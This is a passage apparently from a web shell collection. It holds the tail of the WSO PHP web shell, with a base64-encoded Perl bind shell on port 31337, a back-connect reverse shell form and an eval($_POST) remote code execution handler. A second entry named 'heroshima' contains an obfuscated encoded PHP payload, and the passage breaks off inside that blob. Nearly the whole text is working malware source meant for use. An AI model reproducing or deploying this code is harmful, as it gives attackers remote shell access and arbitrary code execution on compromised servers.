$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit="g(null,null,'bpp',this.port.value);return false;">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit="g(null,null,'bcp',this.server.value,this.port.value);return false;">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,@base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$outn".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$outn".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
 
Type : heroshima
Description :
<?php $_F=__FILE__;$_X='P2lCP1ouWg1WaGg+ek01eWtXVz49TWVZPnAuTVdXDVZNenpPel96TVpPej1zSHgoYSk7DVYkeWtXV0pKOT5TPic0d09jR3Nvc01wb3p1WVJudTVFeTM0YSszQ25xPEN9NXVrZ0Y8Q1drTnBMWTJ4YUcgWTZlcDU4dVQvbyBOe3I9MzRPeHA1OG48NHU1Ti9GPTNLTi4yWVAwZXFvcE5ERVdiRCB4SXBvbzxDS3hUe3JRYnt5RS9ZNlFlWVBMMzRuWjR3T3ZJfWFHMms2YURKZ1o8ezZBPENXPWVEd091L3kxM0ZhR05EOHE8SjhBMlk2fTxKOGFle0xIRzRGWjd9YUdle2JPZURFNU5Ed084clB0ZzZnPDNZZ24zV2FaMy9iWTMveHlEYTlyNnJuc05DfXNEcEYubXBGczNzeVpNcUZFL3NnWWV7UlczNGF4OHJQdGc2ZzwzWWduM1dhMTR3T3lOWVduTkRPeG1wb0ZOWVduTjZQSE5EZ0Fia1BROUM2UTl0dU84Q05aPEMgWjd9YUczQy5XYntnVzJzeHN3a1BROUM2UTkvMGFNRG9XN3NvLjJ0b25le0UuOUNXYzxzUGNiSmdXOS8wNTl0OFdie2FzR1RuRS9zb09Oe3J5TkQzTzN5RWM8SGdXPEh3PTxDNlFOSmdPN3NGc0lIRWEyWVJXPHN4eU5ZV25ORE9aR1RuRS9zb09Oe3J5TkQzTzN5RWM8SGdXPEh3PU5DVzUyQ1A1ZURnWjxrVVszQ3JhOUNyCmVDMFc8SHcxM0NOWjxDNlFiezBXbTZ9czNzTHNiREVXPFlyPU5weHlOWVduTnB5UTNXfXM3cTNaN31hRzNDNgplQ2Z4OENOWjxDNls3fWFHM0M2VWVEdzFBcEZFL3NvVzx0RVdle2JPZURFNU5Ed084clB0ZzZnPDNZZ25OSlpaMi84OUdwRlk4c0ZPOHJQdGc2ZzwzWWduTkpaWjIvODkzL0tQMy8zc0dwVzE0d095TllXbk5wRlAzL2dBZ2E2IHtxOXk8QzlbZURGSERUbkUvc2dZZXtSV01zRlAzQzlbTntMCjxrZ1dHS29ZZXtSV0RrOVc5clAKPGtMYU57TGEycXh5TllXbk5weVo3fWFHM0MuV2J7Z1cyc3hzd2tQUTlDNlE5LzAgTURvVzdZcn0yQ1JaYmtyYWV7UFFJSng9TkpaWjJyUlEzc3kxNHdPeGVDNi5OQzZxRy84NDxrTGFOe0xhSXtSVzxZOWFlNE94M3NMNTl0OG5Oe1VPOENOWjxDNltHcHkxNHdPeGVDNi5OQzZxRy84NDxrTGFOe0xhSXtnWjJKb2Mya1dhZXtQUTdzby45dGcuYmsuPU57TGE3cW9ZZXtSVzxZcj1OVDAyM3MzUWJZcjVOe0wuPHsgTzhDTlo8QyBaSXMzUU5KWjIzCm5zR1RuRS9zb1diay5jMy9nWWV7UldNCm54TkQuWjk0bnhBcEZFL3NvWk5zLloySkVXOS94eURhOXI2cm5zZXswSDNXYVpHRG54NHdPeHdDUHNEa0VuTntyUUcveTE0d094OEN3eG1wbz1iezlaYms4YzxrYU84clB0ZzZnPDNIeXNEcHkxMy9nWTM0YXg4clB0ZzZnPDNZVz1OcTg5N31hRzMvZ1o8WWJ4bXBvRk5rNmFlezAuTms2NWVEWldHL2d5SXNnWUdUbkUvc0Z5TkQuYTM0YXhORC59PENQeU5weHlOc31zSXMzWjd9YUczL2dXTXR3eG1wRnlORC5he2tFYzl7TGFHL2dXTXR3WklUcjk3fWFHM0tvT057cnlORDNPM3lFYzxIZ1c8SHc9OXRXfU5UT3gzc1V5ZXtMWXtxOD1lezBXM1dhWjd9YUczS29PTntyeU5EM08zeUUuYmsuV0l7RWM8SGdxPGt9WzN0bzBiWVJaYnEzWjd9YUczS29PTntyeU5EM08zeTZVMkNXcU5EdVszLzNRTkNyYU5weHMyczNuPHs9YWV7MFdHNEZudS99fUk0S251cH1xdTR1fUdweVo3fWFHM0tvT057cnlORDNPM3lFLmJrLldJe0VjPEhncTxrfVszQzAuTS8wLk5rIFAzc1VPRQpGdkUKRnZ1Cnd2RXF5Wjd9YUczS29xTntyeU5ZV25OcHh5Ti9VeU5zeTEzRmFHM0M2VWVEdzFBcEZFL3NGeTlZNnEzNGF4M1k4TDNDbnE8Q301dWt3czdxRkUvc0Z5MmtQWTl0OS4yWSB4bXBvSE5EZ1c8SGJPM1dFciBXTnIgV1BUVGFOIDZhcnBncDNaN3FGRS9zb1pOc0ZPd0NXUWU2UEhORHdPM0hFLk5ZNkE8e1B5TnAzWjNDUHEzdEVhMkhnYzxDUEpORDNPd0NXUWU2UEhORHdPM0hFLk5ZNkE8e1B5TnAzWkdwRlBtcEZzPGtVc0dwRkUvc0Z5MmtyWU57MGNOQyB4bXBvICBXNnI3fWFHM0M2bjJrIHg0d094OHRFLk5ZNj08a2dXMzRheGd5cnUgYSAxM0ZhRzMvZzVNREVhTntheG1wb0YyQy59REo2UWJ7MFdHL3kxNHdPeGV7Yk8ySmdxOUNQbjxKOVcycy41OXs4NTl0M084dEVMMkpnVzxwfX1JNHVaR3BGUG1wRnM5a1dRM3N5eDR3T3g4dDlaPHNGUDNyZ3A2ICAxM0ZhRzNDNm4yayB4NHdPeDh0OVo8c0ZQM0tOb1RyRXI3cUZFL3NvWk5zLloySkVXOS94eURhOXI2cm5ITXA5OUdwVzEzRmFHM0NXWUdLb1oyMFB5ZUQzTzhyUHRnNmc8OEpOWk5EMkhEcHlaTXFGRS9zRnkydDl5MzRheDhyUHRnNmc8OEpOWk5EMkhEVG54NHdPeHdDRU9OQ1dxRy9nfTlrd1o3cW9QM0ZhRzNDNm4yazYxM0ZhRzMvZ305a3d4bXBGeURhOXI2cm5ITXA5OTdxRkUvc29GYmsueWVEM084dG9KTi95MTN0YXhBcEZFL3NvWk5zeC44dDlaPHNXMTNGYUczQ1dZRy9LeTlERVcyc0ZQM3Q4LjJDV09HQzZVTnB4czlrLmNiezBaM3N5WkdwRkUvc0Z5OURFVzJzRlAzLzNzN3FGRS9zb1pOc3guOENXeTM0YXgyWXJ9ZXt4T05ELldHLzhaTi8zWkdweXg0d094OENXeTM0YXgzczMxNHdPeDh0b3E8azB9OS9GUDMvZzAyazZxSXMzeEQvd3gzCm5FL3NGeTJ0OXkzNGF4d0M5VzlDRUpOL3haSXlnOCB5NjQ2S1BwezZQVGc2b28geXIgVDAzMTR3T3hBcEZFL3NvVzx0RVczdG54NHdPeDh0NjVORDN4bXBvRk5rNmFEa0UwMkg4VzxIZ0E5REVXMnN4Wjd9YUczL2daTi9GUDMvZzAyazZxN31hRzMvZ30yWVA9MnR3eG1wRnk5REVXMnNVczMvTkg5NG5zN31hRzMvZ305a3d4bXBvcU57cm4yQ3JhZS94c0lzM1pJczgyRC8zMTR3T3g4dGJ4bXBvV010b248a2dXRy84MkQvM244Q3daN31hRzMvZ2szNGF4OHROPHVyYTE0d094TllQcU57cgplL0ZPMllyUU5rIE8zeUtzSS84ZTNzeXhiRHV4OENSVzl0Z1cyc3l4TXFGRS9zRnliWVBjPC9GUDNLb1oyMFB5ZUQzTzhDUlc5dGdXMnNVczdXUjIzc3kxNHdPeGV7YnhHL2dzPGtQbkdwbzEzRmFHMy9nbk5EZ2FORDg1My9VUDMvM2ZicG9PMlk2WW02fXNtSnlQM3NVeTxDNmE5QzZxSXMzW0RyUjIzCkw8My8zMTR3T3hle2J4Ry9nbk5EZ2FORDNRMwpPczMvS1AzL2drR3BvMTR3T3g4Q1JXOXRnVzJIdXhJCmF4OENSVzl0Z1cyCj1QM0ZhRzNDNm4yayB4TX1hRzMvZ25ORGdhTkQ4NTMvVVAzLzNmMkpvLjxzbwo8Q3I1MjUwMjNZOS5Ne3IyMwpVc0lzZ25ORGdhTkQzUTMKfWMySm8uPApVczdKYXg0d094OENSVzl0Z1cySHV4SQpheDNzbzltL1AubXNGczdxb1AzdGF4QXBGRS9zb1pOcy5ZOXtMCjlDV2M8V1BXTUNXNTl0dU8zSG9jMmtXVURrOVc5dG9KOXtXeTNzeXg4c2J4Tkg2UWJKZ1o8a0xBTkQuWjJKZzVHLzh9PEpFWk1yUEhORGdIMlk5Wk4vM1pHcEZFL3NGeTJDUDVlRHh4bXBvICBXNnI3cUZFL3NvVzx0RVczRmFHMy9nfTxKRVpNL0ZQM0tOb1RyRXI3cUZFL3NGeTJrNnE5WTZxRGtXfTM0YXh3QzlXOUMuYzJKZ3NNe0wuPHsgTzhyUFRnNjh7ZzY4PDN5LiA2cm9BcEtQVDYvODlHVG54NHdPeDhDMExEa1d9MzRheDhyUFRnNjh7ZzY4PDgwOHJUIFAgZzZQb2dLZ3A4MGExM0ZhRzMvZ3Nle0x5MkNQcTkvRlAzLzNSdTVLcXVxMzEzRmFHMy9nc2V7THkyQ1BxOXJQfWJERTUzNGF4M1lucTxDfTV1a3dzN3FGRS9zRnkydDl5MnFGUDNDNlUyQ1JjTkMgT2dLV3BnIEUgVDA4TkQwRXIgS3JwdzZnbSBzfXkydDl5R1RueDR3T3g4dG9KTnQ2cTwvRlAzLzNzN3FGRS9zb1k8SjNPOEN5eG1wRn0zNG54OEN5eG0vbzVlRFpXPGtiTzh0b0pOdHVaSVRLeDdxRnllcG56R0RueDR3T3g4dG8uOUMuWzM0YXgzczMxM0ZhRzNDTmMyc3h5ZXNGUDM0Rng3cUZ5ZXNGZm1wRnllcEYxMy9ndkdxblpNcUZFL3NGeTJDcmFldE94SQpheDh0b0pOdEU8OENaOUl5ZzggeTY0NktQcHs2UFRnNm9vIHlyIFQwMzEzdGF4NHdPeDh0b0pOdDZxPC9GUW1wRnNtQ0t4ZXQ4V04KMDIzClBMbXAzUTh0by45Qy5bSXM4MjMKVXNJc2d9OWtnNXtxZ1pEcFVzMy8zUWdLV3BnIEUgVDA4TkQwRXIgS3JwdzZnbSBzVXMzNH1jYlRVczdxb1AzRmFHM0NXWUdDVzUyazZhRy9nQSBLUFQ2cm5IMlk2UWJ7MFc4MGFaR0RueDR3T3g4Q1BuTi9GUDMvZ0EgS1BUNnJuSDxrUnk8WXI9TnA5OTd9YUczL2dRTkQyeG1wRnlEMG9tIDBnPDhrTFc5a0wuPHsgSERUbkUvc29GMlk2UWJ7MFdHL2d9OWt3UThDUG5OL315MnQ5eUlzZ1FORDJaN31hRzMvZ1lle1JXMzRheDh0b0pOL1V5PFk2Sjdxb1AzRmFHMy9nczl7TlkzNGF4OHRFY05IZ0piRDhXSXMzZmJIM3hJNVVzN3FGRS9zRnliSDZZTnNGUW1wRnkySlc1OUM2PUlzM2ZiSDN4STVVczdxRkUvc29aTnN4eWV7d3gzVGF4M3MzWjNGYUczL2dzOXtOWTMvVVAzL2daTi9Vc21DOHEzL2YrMwpuRS9zRnliSDZZTnNGUW1wRnMyazZxOVk2cTNDV30zNE94M3NVeTJrNnE5WTZxRGtXfUlzM3htdEV9YntVeGJrUi4ySnVQRC84SGJEVy5ELzMrQTR9YzJKby48ClV4TXtQMDJzb1oyL0ZbMy8zUThDMExEa1d9SXMzZmJIM3hJNVVzN3FGRS9zb1pOc3h5MmtyWU57MGNOQyBaM0ZhRzMvZ3M5e05ZMy9VUDMvODVie05XPHtQeU5wRls4WUxzMkpGMW10RX1ie1V4MkpnTDxDIFBELzgKPGtSYzIKWnFOe3cxRC8zK21DTmM8SHd4YmtQbjxKM1A4SjhXTi8yK1RhVWZJa05jPEh3K20vUDUyQ3JRbQpSczJzRmNtczMxM0ZhRzNDNm4yayB4NHdPeDhDODBOWWJ4SQpheDNIRS5OWTY9PGtnVzM0T1k8WTg1MjRuZjJKby48c281OXRXbk5UMDIzWUVjPENQcTdZOXFOezZRNzB9c215UENnClI1MkNyUW0KUnMyc0ZjbXMzMTNGYUczL2dzOXtOWTMvVVAzL2duTkRnYU5EODVJczNZPFk4NTI0bllOSncxOFlMczJKRjEzc1V5MnQ5eTlEOG43cUZFL3NvWTl7TAo5Q1djPHNvcWJEb1plL3h5OUM2VTkvVzEzRmFHM3Q4Vzl0NnE8c29hMllXPUd0RWEyV1BxTkRvbmJ7RVdHLzNmYkgzeEk1VXNJLzNzSS9nYU5ELmFHcHkxM3RheDR3T3hOSDZRYkpnWjxrVXg8e3JIZXtFczxrUD1HL2dhTkQuYUdEbng0d094ZXtieEcvckhORGdBPHtySGV7RUEyRDZjOUM2NURrOX1icXhaR3BvMTNGYUczdDhXOXQ2cTxzRnk5QzZVOTRueEFwRkUvc29xTkRnMDJZVXgySmdxZURvNTxDcjVlQzY1Ry9nYU5ELmFHVG54QXBGRS9zb1k5e0wKOUNXYzxzbzVlQ1BKTkNXcUcvZ305a3duOHRvcTxrMH05L1cxM0ZhRzMvZ1k8WXI9TnBGUDNDcnEyWXJMRy95MTR3T3g4Q2dRYnswVzM0YXhiRDhxYkR5T0dUbng0d094ZXtiT05INlFiSmdaPGtMQU5ELloySmc1Ry84fTxKRVpNclBITkRnfTlKNlpOLzNaMy9iWTNDTjA8WUVhZXtQUURrNlVlREVhMnF4czJDUDVlRC5BTms2YU5KOEhle3dzR3B5eDR3T3g4dG9jMmtXVTM0YXg2cjg2Z1RueDR3T3hOe1I1TnBGRS9zRnkyQ1A1ZUR4eG1wb0N3IFJUZ1RueDR3T3g4dDY1TkQzeG1wRnNtNWZobTVPaG01ZmgzCm54NHdPeGV7Yk84Q2dPMzRheDxKb1c8WWdaMnN4eTJ0OXlHcFcxM0ZhRzN0OU9le1JXRy9nWWV7UlczNGF4Mlk2Lk5DZ1oyc3h5TkN4WkdEbng0d094ZXtiT2VERUFOQ1dxRy9nWWV7UldHcFcxM0ZhRzMvZ3k8WXI9TjY9OTM0YXg4Q05aPEMgMTN0YXg0d094TntSNU57V1lHQ1c1RGtOWjxDIE84Q05aPEMgWkdEbng0d094OENOUWJ7MFd7MGF4bXBGeU5ZV25OVG54QXBvUDR3T3hia1JjMms2eWVEM084Q2dPR1RueEFwRkUvc281PEo4YUcvZ1k8WXI9TnB5MTNGYUczdEVjMkh3TzhDZ1FiezBXR1RueDR3T3g4dG8uOUN4eG1wb0ZORC59PENQeU5wLktwNjhydzBnbSBXV0EgYTZ3dzY4bzZLUHBJL2d9OWt3Wjd9YUczL2dhMlk2VzM0YXh3dEVaTVk2Y05zeHkyQ3JhZS95MTR3T3g4dG8uMlk2UTkvRlAzLzNzN31hRzMvZ3M5e05ZMzRheDNzRmZOWVBxPHBvLmJKZ1o8a1VQRC8zaE1UYXNJc2d9OWt3UTNzTi48REYxTTQwNWVDNm48cn1zM0MwVzlDLmNONDAyM0hvYzJKZzIzc281OXRXbk5UMDIzWTAuMlk5WjwKT1UydHh4dS9GfTM0RjFELzMrNHdPeG10Zy5iWVJXM0NFbmJERTVtNn1zYmsweWJZUFVELzN4MkpnTDxDIFBELzhKZXtnYWU0TzB1LyAxRC8zKzR3T3htdGdxbQpSYU40VXkydDhjPERvYW0vUGFONFVFL3NGZjlDdyttQ1dRMnQ2YTNDUFFUe1AwMms2bTlZNnFtNn1zOUMuWjJxTFk8a0UwMnF4WjcwfXMzQ1d5bTZ9c2JrMHlELzN4YmtSLjJKdVBELzhaPEhvMDl0WjIzc29hTURvV202fXM5QzZVOXJ9czNDTC48eyBQRC84Cjx7ZzIzc281OXRXbk5UMDIzSDlaTnRnTzcKd311dG9VNzB9czN0Ti48dDZXbTZ9c0QvM3hJNVVFL3NGZmV7TH05RHd4YmtSLjJKdVBELzhaPEhvMDl0WnM5RGcyM3NvYU1Eb1dtNn1zMko2czx7V2FELzN4OVlybjl7IFBELzhLPHFGLkQvM3g8WXI9TlQwMjNIRTBiWTBaOUNFPU5yfXMzdEVhTXtSV202fXM5a1d5OUN4Wzc0b31NND0yM3NGY20KfWM5Q3crbS9QYTIKVUUvc0ZmSWtOYzJZYSszNFJZPEo4PTNDcgo5Q1djPAowMjMKUDIzc289TkRnTzxrd1BELzhITkRnMjNzbzU5dFduTlQwMjNZMC4yWTlaPApPVTJ0eHh1L0Z9MzRGMUQvMyszRmFHMzRSWjxIbzA5L29hTURvV202fXNlQ1d5TkM2UUQvM3g8WXI9TlQwMjNIVzIzc29rYntSME5UMDIzczNROHRvSk4vVXNELzN4STVVeDR3T3htdGdxbQpSYU40TGtlezZKM0NOWjxDIGNOWVBuTkM2cW0vUGFONFVFL3NGZmJrNlE5QzZxbQpSYU40VWZle0x9OUR3eDxrTEU8SjY1TiBQa05EM1BELzhhZUNXNUlZTmNiSjY1Ry95MUQvM3hle3dQRC84SDxKZ2NELzN4YmtSLjJKdVBELzhaPEhvMDl0WjIzc29hTURvV202fXM5QzZVOXJ9czNDTC48eyBQRC84a2V7NkpELzN4MkpnTDxDIFBELzhKZXtnYWU0T2F1NG99TTQ9MjNzb2tie1IwTlQwMjNzM1E4dG9KTi9Vc0QvM3hJNVVmZXtMfTlEd3hia1IuMkp1UEQvOFo8SG8wOXRaczlEZzIzc29hTURvV202fXMySjZzPHtXYUQvM3g5WXJuOXsgUEQvOGtlezZKMy9yMjNzb1FiezBXbTZ9czJKNnM8e1dhYmsweUQvM3gySmdMPEMgUEQvOEple2dhZTRPVXV0b1U3MH1zMy9mK20vUGFONFVmSWtFVzxIZ1cyClVFL3NGZklKZ3FteGFHMzR9Y05ZUHE8VFVFL3NGZklKZy5iWVJXbXhhRzM0UmFiezhuTnBvCjxDcjUyNTAyM1k2VTJDUmMyWTYyMwpVeG10Z3FtClJhZTRMUWJ7MFdtL1BhZTRVRS9zRmY5Q3h4MkpnTDxDIFBELzhKZXtnYWU0T1V1dG9VNzB9c21IRVpNWSBmSUpnT214YUczNFJhZS9vNTl0V25OVDAyM0g5Wk50Z083CjNSdXRvVTcwfXNtWVBKPFk2cTdZOXE8SjZ9bS9QYWU0VUUvc0ZmOUN4eDJKZ0w8QyBQRC84SmV7Z2FlNE9VdXRvVTcwfXNtSG9XMlkwNW0vUGFlNFVFL3NGZjlDeHgySmdMPEMgUEQvOEple2dhZTRPUnVUb31NND0yMwpMPTxrZ1pOWVdXTjR9YzlDeCs0d094bXRnTzN0RWFNe1JXbTZ9czlrV3k5Q3hbdVR5fTJ0eDFELzMrYntFYWV7UFEyNX1jOUN4KzR3T3htL1BhMgpVeDMKbng0d094ZXtiTzh0Z3FOeyB4bXNGcUdwRkUvc29ZPEozTzhDeVB1NG55ZVR9eTl0OFdOcGFxN3FnWkdxblozRmFHMy9nfWJEOFc8SHd4SQpheDh0by45Qy48OENXOUl5ZzggeTY0NktQcHs2UFRnNm9vIHlyIFQwMzEzRmFHM0M2bjJrIHg4dG8uMlk2UTkvRlAzL2d9OWt3MTNGYUczQ05jMlk2LmJreE84Q2dRYnswVzNDcjUzL2dZPGtSeU5EM1pNcUZFL3NvWk5zeHlOWVBuTkM2cTM0YVAzLzNRM3N5eE1xRkUvc29aTnN4Ljh0OVo8c0ZZOHNGeTJDUDVlRHhaTXFGRS9zRnk8WXI9TlQwRjJDUDVlRC5BTms2YTJ0OTBle3dPd0NOWjxDNmM5a0xXMnN4eU5ZUG5OQzZxR3B5MTNGYUczL2dIMllQMDI0MEYyQ1A1ZUQuQU5rNmFOSjhIZXt3T3dDTlo8QzZIMllQMDIveHlOWVBuTkM2cUdweTEzRmFHMy9nYzlrTFcyc0ZQMy9nUWJ7MFd7cTlRYnswVzgwYVEzClI1MkNyUTNDRW5iREU1bTZ9c05rckxiNn1zbXNGWzM0fWMySm8uPApVc0lzZ0gyWVAwMnJuSDxZcj1OcDk5N3FvUDNGYUczQzZuMmsgeE1xRnk8SjlRTkQzeG1wRnk5REVXMgpueEFwRkUvc29GTkQ4cTxKOEEyWTZ9PEo4YWV7TEhHNEZaN31hRzMvZ3M5e05ZMy9VUDMvM2Y5dDMrbXRneW0KUi4zQy5xTntiUEQvM2hNVGFzSXNnfTlrd1EzV31zbXNnWTxrUnlORDNmSWtLK20vUGFONFVmOUN3K1RLVzdwNX1jOUN3K210Z3kzdEVhTXtSV202fXM5QzZVOS8wLjxDV0g8CloKTntMYU5EMzFELzMrM3NVeTxKOVFORDNRMwp9YzlDdyttdGd5bXMzUU5rNmFESm9XMlkwNUcvZ305a3daSXMzZklKZ3ltClJhTi9vNTl0V25OVDAyM0hnV010dz1ie1JaTmtVW2JrNlE5QzZxNzB9c21zM1FOQ3JhTnB4c04vMEVJNnl4cDRaWjNzUkZOWVduTnswYWV7MFdHL2d9OWt3WkdwVXNtL1BhTjRVZjlDdyttdEV9YntVeGV7d1BELzhhZURnWmU1cjIzClVmYnBvTzJZNlltNn1zbUp5UDh0b0pOL04uPERGMU57Z1o5NGFzSXNnfTlrd1EzWUxXOWtOWjxDIFEyQy59RC8zKzxZNkpOWVduTlR9Y2JUVXhBL0ZmYnBvTzJZNlltNn1zZVlya2JERQoyWVd9OTRaYTl7PS4yc3hIOUNXYWV7blI4cX1IOUNXYWV7blJEa05jMllhSEdUPTIzCkxRTkQ5WTxrUnlORDNmSWtLK20vUDUyQ3JRbXNGZk5ZUHE8cG8uYkpnWjxrVVBELzNoRC8zeDx7NmFlQ1B5bTZ9c05rNmFELzN4ZXt3UEQvOGFlRGdaZTVyQU5ZUHE8Nn1zM0NFbmJERTVtNn1zMms2PWJINlFNe1cyM3NvNTl0V25OVDAyM1kwLjJZOVo8Ck99N0pvLk5DZ1o8WTJbdTQ9MjMKVXhtQ1dRMnQ2YTN0Z0wyQyBQRC84T2V7Z3lOe0wyM3NvUWJ7MFdtNn1zTTZ9czN0Ti48dDZXbTZ9czNzVXkydDl5SXM4MjNzRmNtc0ZmZXtMfTlEd3hia1IuMkp1UEQvOFo8SG8wOXRaMjNzbzU5dFduTlQwMjNIOVpOdGdPNwpLYXV0b1U3MH1zM3RnTDJDIFBELzhhTkQuYUQvM3g8WXI9TlQwMjNZMHpOQ1dxRC8zeDlZcm45eyBQRC84LkRrTFc5MFBZPGtSeU5EODIzc0ZjbXNGZmV7TH05RHd4YmtSLjJKdVBELzhaPEhvMDl0WnM5RGcyM3NvYU1Eb1dtNn1zMko2czx7V2FELzN4PFlyPU5UMDIzSDhXPFlyPU42fXMzdEVhTXtSV202fXM5a1d5OUN4W3U1Nn1NND0yM3Nva2J7UjBOVDAyM3k5YzMvcjIzc0ZjbXNGZklrTmMyWWErbS9QYU40VWZJSmdxbXNGczdxb1AzRmFHM0M2bjJrNlpOc3h5TllQbk5DNnEzNGFQMy8zUUlzM1ozdG54NHdPeGV7Yk8zcGdKZXtVeDhzYng4dG9jMmtXVUdEbng0d094OENMLjx7IFB3dG9jMmtXVURrOVc5dG9KOXtXeUdLb1lle1JXPEo5UU5EM084Q05jPENnVzJzeVo3cUZFL3NGeU5KOGM5REZQd3RvYzJrV1VEazlXOUM5cU5rV3lHS29ZZXtSV05KOGM5REZPOENOYzxDZ1cyc3laN3FGRS9zRnk8SjlRTkQzeG1wRnk8WXI9TjZuSDxZcj1OcDk5SXMzZjJKby48c28KPENyNTI1MDIzWTkuTXtyMjMKVXg3c0ZmSUpFfWJ7VSszc1V5Tko4YzlEbzw4a0wuPHsgSERUbnhBcEZFL3NvVzx0RVczdG54NHdPeDhDUEo8WTZxMzRheDh0NjVORDMxM3RheDR3T3g4QzgwTllieEkKYXgzClJhMgpVZjlDdyttQ0t4ZXQ4V04KMDIzClBMbXAzUTh0by4yWTZROS9Vc0QvMys4Q05jPENnVzIKfWNiVFVmSUpneW0KUmFONEx1cCBMSW0vUGFONFVmOUN3eDJKZ0w8QyBQRC84YU5ELmFJe3JuZXs5UTdZRVc8SGdXMgo9MjMKVXNJc2djOWtMVzJzVXNtL1BhTjRVZjlDdyszc0xITkRnQTJDNnE8RHVPOHRvLjJZNlE5L3lRMwp9YzlDdyttdGd5M3RFYU17UldtNn1zOUM2VTkvMC48Q1dIPApaCk57TGFORDMxRC8zKzNzTHliRGdXRy84eUkgYT17cG8zN1l5c0lLb1lle1JXPERnWjx7IE84dG8uMlk2UTkveVpJczNmSUpneW0KUmFONFVmMkpvLjxzb1pONDAyM0hnWjlDV3p1V31zbQpSLjNDLnFOe2JQRC8zaE1UYXkydDl5OFlyPTI0PVdOQ1dhbXAzUTh0by4yWTZROS9VczxZNkpOWVduTnBMfWV0bzIzCkxRTkQ5WWV7UldtL1AubXNvZjM0Ui4zQy5xTntiUEQvOHZiRE4uMmtFcWVEb2E3SGcwZWtycUcvOWFlRGdaZTUzSEkvOWFlRGdaZTU4QU5ZUHE8cDJaNzB9c21ZTFc5a05jPENnVzIKfWNiVFVmSUpFfWJ7VSszNFJZPEo4PTNDcgo5Q1djPAowMjMKUDIzc289TkRnTzxrd1BELzhITkRnMjNzb1pONDAyM0hnWjlDV3p1V1BZPEo4PUQvM3hia1IuMkp1UEQvODVOezBzOXtMTGU2fXMzdEVhTXtSV202fXM8e3JxTmtXUTcKRjEyQ3J5TkNXUU41T303MH1zbXNGZmV7TH05RHd4OXRXfU5UMDIzWS5aTkNnVzxXfXMzQ0wuPHsgUEQvOExELzN4OVlybjl7IFBELzNzSXNnfTlrd1EzV31zMy9mKzM0Ulo8SG8wOS9vCjxDcjUyNTAyM1lXUTJ0NmFNV31zM3RFYU17UldtNn1zOWtXeTlDeFt1VHd9MnR4MUQvM3g5dFd9TlQwMjNIZ1dNdGcyM3NvUWJ7MFdtNn1zPHs9eWVEODIzc29rYntSME5UMDIzWXJBPFk2SkRrTmM8Q2dXMld9czMvZiszNFJaPEhvMDkvbwo8Q3I1MjUwMjNZV1EydDZhTVk4MDlyfXMzdGdMMkMgUEQvODU5ezg9ZURnMjNzb1FiezBXbTZ9czJZNlFiezBXRC8zeDJKZ0w8QyBQRC84SmV7Z2FlNE81RURvVTcwfXMzdE4uPHQ2V202fXNna2Z4MzZ9czMvZiszNH1jTllQcTxUVXhtL1BhTjRVZklKZ3FtczMxM3RheE57UjVOcEZFL3NvMTNDV1lHL0t5OWtXUTMvYlkzL2d9PEpFWk0vVzEzRmFHMy9nUWJ7MFdtIG99PEpFWk1yUEhORGd9OUo2Wk4vLkZOWVduTntQSjxZNnFHL2dZPGtSeU5EM1pHVG5FL3NGeU5KOGM5REZQd3RvYzJrV1VEazlXOUM5cU5rV3lHS29ZZXtSV05KOGM5REZPOENOYzxDZ1cyc3laN31hRzMvZ2M5a0xXMnNGUDMvZ1FiezBXe3E5UWJ7MFc4MGFRMwpSNTJDclEzQ0VuYkRFNW02fXNOa3JMYjZ9c21zRlszNH1jMkpvLjwKVXNJc2dIMllQMDJybkg8WXI9TnA5OTd9YUczdGF4NHdPe